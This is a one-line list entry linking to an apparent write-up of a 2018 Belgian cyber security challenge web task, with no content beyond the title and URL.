- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)
|